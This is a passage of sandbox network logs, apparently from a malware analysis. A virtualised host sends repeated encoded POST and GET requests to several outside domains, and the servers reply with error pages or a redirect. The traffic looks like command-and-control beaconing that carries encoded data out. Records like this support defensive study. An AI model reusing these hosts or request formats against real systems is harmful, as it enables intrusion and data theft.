Jan 9, 2025 16:58:33.787697077 CET	1289	OUT	POST /nkmx/ HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.givvjn.info Referer: http://www.givvjn.info/nkmx/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 54 57 34 48 59 51 4d 64 49 4b 6e 30 43 4c 2b 73 65 57 33 46 57 6a 79 36 31 69 77 54 7a 67 39 41 73 5a 50 53 70 79 68 38 4c 59 49 70 43 44 4b 4c 76 55 32 2b 78 61 6b 72 39 64 67 53 6c 70 4a 79 4e 62 41 34 6b 31 54 4c 75 79 5a 61 6a 49 38 58 42 4f 2b 59 4f 4e 76 49 63 63 72 42 37 7a 49 6f 6d 44 45 4d 76 4f 67 41 48 74 44 38 44 58 71 5a 54 41 4c 73 4b 37 4c 2b 67 4f 50 6d 37 44 6f 59 33 38 67 72 6f 58 59 73 31 78 2b 4d 70 6b 4f 42 78 72 78 49 4f 72 42 4b 4c 49 66 77 6b 34 33 6f 62 4e 70 35 71 76 6a 76 6f 63 73 49 66 34 35 71 54 59 54 74 61 75 36 61 6d 49 73 35 7a 74 33 30 4e 47 68 6e 55 53 57 61 54 34 44 4c 75 44 4a 33 61 65 70 61 74 68 30 68 61 30 63 73 51 39 63 4e 42 62 35 74 4b 4f 69 5a 64 46 61 48 76 74 4a 78 67 42 48 4e 62 75 4e 64 65 6e 4e 47 47 4d 70 51 49 61 39 6a 4f 74 33 73 73 75 78 49 5a 63 38 51 67 62 68 53 63 31 66 72 31 56 53 63 45 59 74 56 47 74 46 59 34 42 45 76 4a 75 52 37 6c 33 44 74 4e 6a 48 37 72 63 2f 58 4e 7a 50 72 72 30 71 34 52 43 4a 42 48 68 42 66 64 34 79 [TRUNCATED] Data Ascii: 6B-l7F=TW4HYQMdIKn0CL+seW3FWjy61iwTzg9AsZPSpyh8LYIpCDKLvU2+xakr9dgSlpJyNbA4k1TLuyZajI8XBO+YONvIccrB7zIomDEMvOgAHtD8DXqZTALsK7L+gOPm7DoY38groXYs1x+MpkOBxrxIOrBKLIfwk43obNp5qvjvocsIf45qTYTtau6amIs5zt30NGhnUSWaT4DLuDJ3aepath0ha0csQ9cNBb5tKOiZdFaHvtJxgBHNbuNdenNGGMpQIa9jOt3ssuxIZc8QgbhSc1fr1VScEYtVGtFY4BEvJuR7l3DtNjH7rc/XNzPrr0q4RCJBHhBfd4yYvNOtjBTBdGsQtdgnMEL78hGmO563XCDuoJPI1ZWZHFZ3X+w2mGC2kbQsRPXaK7nA/z+QrK6gpC8u6PWPiaGfZj6PjNBWRV9J/N9uljrKOkpC/E1/2wNDCIbR9eBBvmQT2RpmyhZiHUeYs254QkMSMWQLO1NkXlOGTvFo2Wfn1KhXbnFJLGimT6MxlzdwwpcKKAJzZKZm0nrVkzz/C533VZQcL2uNUgwgHDOQqkWYjH0aZ0xljVTBrUwDCkimuuZhkgeVtPT007y//uzLpN2WZsP9bTBDN6ZQswmegC9iq/qqKpUFE4g8w5HGw3Rr/v/tYWf7yep2k9Sj4IDP4bRbDqwwBzDMGkOQYrLd
Jan 9, 2025 16:58:33.787744999 CET	2578	OUT	Data Raw: 6c 62 65 6d 2b 34 46 75 6d 4d 54 42 43 4d 37 51 44 52 63 45 74 55 63 44 53 6d 44 6d 76 31 75 43 73 30 47 34 37 37 54 6b 78 68 4d 4c 6b 64 6f 61 36 4a 42 37 32 4f 30 56 48 56 64 71 35 36 45 48 57 34 59 4a 5a 46 70 31 65 63 51 59 75 31 78 72 6d 65 Data Ascii: lbem+4FumMTBCM7QDRcEtUcDSmDmv1uCs0G477TkxhMLkdoa6JB72O0VHVdq56EHW4YJZFp1ecQYu1xrmeGNdI3VExexlLQBoX51Ui+gEdaqY3qPSurIEP8VE64VbvFoP2oAPgiZag2seiilWmTORTLbWYZsiDrLSGrlInU1aSmf4SIPu82+Va05mstIVATDVl2jBLJUT10qP8dU1br4Nm/GdJtI4i6+X0sNdCz17dRMDT5yOrX
Jan 9, 2025 16:58:33.787792921 CET	66	OUT	Data Raw: 58 61 2f 45 75 78 64 31 4a 6b 74 77 71 54 6d 74 56 34 74 53 73 45 6b 78 34 78 37 37 76 64 2b 56 4c 4e 65 6d 35 42 59 6d 66 54 46 59 33 6c 39 4a 49 61 79 42 6e 33 64 6e 6a 52 65 2b 53 45 43 67 3d 3d Data Ascii: Xa/Euxd1JktwqTmtV4tSsEkx4x77vd+VLNem5BYmfTFY3l9JIayBn3dnjRe+SECg==
Jan 9, 2025 16:58:34.814905882 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:58:34 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.30	49894	47.83.1.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:36.623559952 CET	534	OUT	GET /nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk HTTP/1.1 Host: www.givvjn.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:58:37.649324894 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:58:37 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.30	49895	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:42.821834087 CET	799	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 32 2b 44 57 51 41 42 74 51 2b 53 4c 35 56 7a 64 57 41 53 43 33 4a 36 67 50 47 48 4d 75 41 41 33 4a 68 2b 58 4f 30 36 52 4d 36 32 71 56 51 4b 2b 74 54 51 38 52 33 62 38 4e 76 77 43 33 7a 51 64 34 51 55 38 73 54 2b 66 78 2f 33 6c 35 2f 42 55 30 6d 41 78 32 56 70 4e 33 52 67 72 74 57 7a 4e 6b 44 45 4a 44 46 4d 74 7a 64 6e 30 63 6f 67 68 6c 73 4b 6d 66 6a 35 6a 67 4a 4a 67 67 4f 73 54 6b 48 44 47 79 41 51 4c 54 6b 75 39 38 31 43 66 65 74 45 50 75 4b 71 6c 49 49 70 66 70 4e 78 79 73 34 32 2b 6b 6c 78 77 74 78 73 71 57 30 44 67 30 4e 2b 33 48 77 3d 3d Data Ascii: 6B-l7F=C3faYkUc5r8U2+DWQABtQ+SL5VzdWASC3J6gPGHMuAA3Jh+XO06RM62qVQK+tTQ8R3b8NvwC3zQd4QU8sT+fx/3l5/BU0mAx2VpN3RgrtWzNkDEJDFMtzdn0coghlsKmfj5jgJJggOsTkHDGyAQLTku981CfetEPuKqlIIpfpNxys42+klxwtxsqW0Dg0N+3Hw==
Jan 9, 2025 16:58:42.958482027 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.30	49896	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:45.491806984 CET	819	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 31 51 33 4a 46 36 58 63 42 61 52 4c 36 32 71 65 77 4b 37 69 7a 51 4e 52 33 58 72 4e 74 30 43 33 33 34 64 34 51 45 38 73 67 58 74 77 76 33 6e 67 50 42 53 37 47 41 78 32 56 70 4e 33 58 4e 4f 74 57 37 4e 6c 77 4d 4a 44 6b 4d 75 79 64 6e 31 66 6f 67 68 30 38 4b 69 66 6a 35 52 67 49 56 4f 67 4e 55 54 6b 47 7a 47 79 52 52 35 49 55 76 34 32 56 44 39 61 4f 35 41 6e 36 53 53 46 59 64 48 68 74 78 51 67 50 62 6b 35 6d 46 79 2b 52 51 48 4b 31 75 49 32 50 2f 73 61 2b 52 48 45 46 46 36 4d 46 59 6a 58 53 62 6b 4f 76 37 61 38 64 45 3d Data Ascii: 6B-l7F=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct1Q3JF6XcBaRL62qewK7izQNR3XrNt0C334d4QE8sgXtwv3ngPBS7GAx2VpN3XNOtW7NlwMJDkMuydn1fogh08Kifj5RgIVOgNUTkGzGyRR5IUv42VD9aO5An6SSFYdHhtxQgPbk5mFy+RQHK1uI2P/sa+RHEFF6MFYjXSbkOv7a8dE=
Jan 9, 2025 16:58:45.627908945 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.30	49897	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:48.166132927 CET	3936	OUT	POST /t3iv/ HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.bonheur.tech Referer: http://www.bonheur.tech/t3iv/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 43 33 66 61 59 6b 55 63 35 72 38 55 6b 4b 48 57 44 33 64 74 42 65 53 49 38 56 7a 64 64 67 53 47 33 4a 32 67 50 43 66 63 74 32 77 33 4b 77 75 58 4f 51 61 52 4b 36 32 71 43 67 4b 36 69 7a 51 51 52 33 50 6e 4e 74 35 33 33 78 38 64 2b 44 38 38 71 56 72 74 6c 2f 33 6e 6f 76 42 58 30 6d 41 6b 32 56 35 4a 33 58 39 4f 74 57 37 4e 6c 78 63 4a 58 6c 4d 75 2f 39 6e 30 63 6f 67 39 6c 73 4c 46 66 6a 77 6d 67 49 42 77 67 4f 6b 54 6b 78 2f 47 7a 6a 35 35 49 55 76 34 73 6c 44 34 61 4f 31 64 6e 36 4b 2f 46 5a 56 58 6d 65 39 51 7a 37 4c 37 6d 46 78 30 6c 33 51 49 4a 30 32 2f 36 4e 33 45 45 4d 68 4b 46 6d 70 63 4b 33 51 66 54 7a 37 59 61 66 62 6a 6a 61 7a 7a 34 61 36 59 68 5a 2f 50 52 6c 33 70 35 70 34 51 65 59 36 34 31 76 32 5a 62 66 79 64 4a 31 64 66 32 72 73 69 46 63 58 42 6e 77 37 72 54 34 69 52 67 6b 77 71 42 57 38 45 73 77 4b 6f 6c 4d 6f 55 33 2f 6f 58 54 51 64 49 4f 61 68 4f 4c 52 45 2f 5a 58 5a 6d 69 6e 46 4c 30 73 50 54 6f 53 4f 33 44 65 42 75 73 4b 49 66 6a 48 71 30 74 5a 34 68 4a 45 61 [TRUNCATED] Data Ascii: 6B-l7F=C3faYkUc5r8UkKHWD3dtBeSI8VzddgSG3J2gPCfct2w3KwuXOQaRK62qCgK6izQQR3PnNt533x8d+D88qVrtl/3novBX0mAk2V5J3X9OtW7NlxcJXlMu/9n0cog9lsLFfjwmgIBwgOkTkx/Gzj55IUv4slD4aO1dn6K/FZVXme9Qz7L7mFx0l3QIJ02/6N3EEMhKFmpcK3QfTz7Yafbjjazz4a6YhZ/PRl3p5p4QeY641v2ZbfydJ1df2rsiFcXBnw7rT4iRgkwqBW8EswKolMoU3/oXTQdIOahOLRE/ZXZminFL0sPToSO3DeBusKIfjHq0tZ4hJEaiilHmTTtD38ZGYUDM/e+hD/aMayxD5WffjOlR+OlJNk7GbIkughJUgh7xbpdD2z+cQYtEyWkzxtK34F0llOeZEevfNva/AwY/8YRHU+T1l+5SJSDev/R6wdyDmN6dBmgMb3SGyfy2DzWD99knLlkU5Ln5auYrOtk0u/vkLhgVd56DicIPZnt/lrqDdu5eur8olMVQE1xxmFRtQ89fQUOALSBerdr2Q8gWpbud3r7K78aL9VCJ5FwHkDAoppf9fJzKXf4z6E6Tm7er9Iqd1L/QnbiEVvbnAOeljtvf6XoiMFus4Yf9Um72Bcaa8qQper6F64IdmexJ80qX0YST+S5WY8+qi+62dJeNv0DmhMP3hyGbMBsaMibcpVVewsDNpLXTrvGH5NcCkhqhV5vHntWgHr0ZkZl/KrgSC7NzWF6mnVvNRuXROwHMFLzjATylER94zk8KTZSMigRk2y4d+MEtQxkag7O2h1YfKCXQ34b+TU/MRprtGeFOJKKOiCFKWCnUumUaQbZF0l+MZ2n3aKGwrzHI7zV6g3U7JggiYEqD3a0V02eZb1WOFtDeNgtFTKO5qhkW5dgrkOqYZFqJk0ziLNEZVU7QQRiyhMfu72pWAgNYyYyQs8E9Ymf7GjLbMFVkBUuF94ELLf4pj9Is8xzzxr4VQHd702bYU [TRUNCATED]
Jan 9, 2025 16:58:48.303730965 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.30	49898	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:50.847191095 CET	535	OUT	GET /t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA= HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:58:50.986644030 CET	379	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:58:50 GMT content-length: 258 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 38 30 6b 3d 6c 52 61 70 43 50 4d 58 67 44 6b 26 36 42 2d 6c 37 46 3d 50 31 33 36 62 53 59 77 2f 62 6f 69 6e 36 75 71 49 78 5a 2b 50 4c 61 34 73 58 54 59 57 41 48 6b 39 71 4b 4c 65 54 6d 58 72 57 41 65 50 79 61 48 54 53 44 4d 46 6f 61 75 42 54 57 78 30 69 67 31 53 33 43 56 46 73 78 33 30 69 55 74 6a 52 56 51 69 42 79 35 35 49 33 59 70 39 39 47 68 33 6b 6b 38 48 35 48 32 43 4d 4d 71 6b 6e 47 34 79 64 77 4c 33 56 32 33 4f 41 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.30	49899	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:56.367445946 CET	787	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 78 7a 39 6d 75 4f 35 64 48 50 31 76 52 6e 35 43 38 56 44 71 6a 50 65 4b 42 58 6e 66 38 50 4a 78 2b 34 2f 75 68 69 7a 41 35 62 35 36 52 46 57 4d 6e 71 52 37 6b 69 6c 32 34 4d 4a 53 32 63 78 4d 30 55 44 4e 32 67 74 66 6a 68 74 57 56 6f 35 4a 61 48 50 5a 63 31 4b 7a 6f 77 78 4e 41 46 73 53 4c 4d 48 33 5a 51 58 78 68 4a 54 51 49 52 48 72 2f 30 37 6a 42 39 72 68 31 6c 36 52 67 70 66 43 6b 2f 45 75 6d 66 72 7a 75 72 48 30 36 47 4a 6b 48 30 39 44 58 75 62 6b 36 58 4a 65 47 56 2b 42 72 75 4a 41 67 47 4b 30 43 62 63 6f 34 57 76 37 4a 63 61 31 7a 41 3d 3d Data Ascii: 6B-l7F=On/0Uk0gKlcgxz9muO5dHP1vRn5C8VDqjPeKBXnf8PJx+4/uhizA5b56RFWMnqR7kil24MJS2cxM0UDN2gtfjhtWVo5JaHPZc1KzowxNAFsSLMH3ZQXxhJTQIRHr/07jB9rh1l6RgpfCk/EumfrzurH06GJkH09DXubk6XJeGV+BruJAgGK0Cbco4Wv7Jca1zA==
Jan 9, 2025 16:58:56.719484091 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:58:56 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:58:56.719491959 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.30	49900	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:58:59.261226892 CET	807	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 64 78 39 63 7a 75 67 67 4c 41 38 62 35 36 65 6c 58 49 34 36 51 57 6b 69 68 45 34 4a 70 53 32 63 6c 4d 30 56 7a 4e 32 54 46 63 78 42 74 55 4f 34 35 48 55 6e 50 5a 63 31 4b 7a 6f 77 4d 67 41 45 45 53 49 38 33 33 61 78 58 79 73 70 54 54 66 68 48 72 70 30 37 76 42 39 71 30 31 6b 6d 37 67 76 44 43 6b 2b 30 75 6d 4f 72 77 67 72 48 74 30 6d 49 4d 50 47 30 37 4f 2b 2f 6d 71 47 38 48 48 41 36 6c 6a 5a 6b 61 39 46 2b 32 52 37 67 46 6b 58 43 54 4c 65 62 75 75 49 4d 33 39 57 2f 6c 49 64 2f 76 36 62 68 50 55 6f 63 66 6d 39 49 3d Data Ascii: 6B-l7F=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89dx9czuggLA8b56elXI46QWkihE4JpS2clM0VzN2TFcxBtUO45HUnPZc1KzowMgAEESI833axXyspTTfhHrp07vB9q01km7gvDCk+0umOrwgrHt0mIMPG07O+/mqG8HHA6ljZka9F+2R7gFkXCTLebuuIM39W/lId/v6bhPUocfm9I=
Jan 9, 2025 16:58:59.607426882 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:58:59 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:58:59.607434988 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.30	49901	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
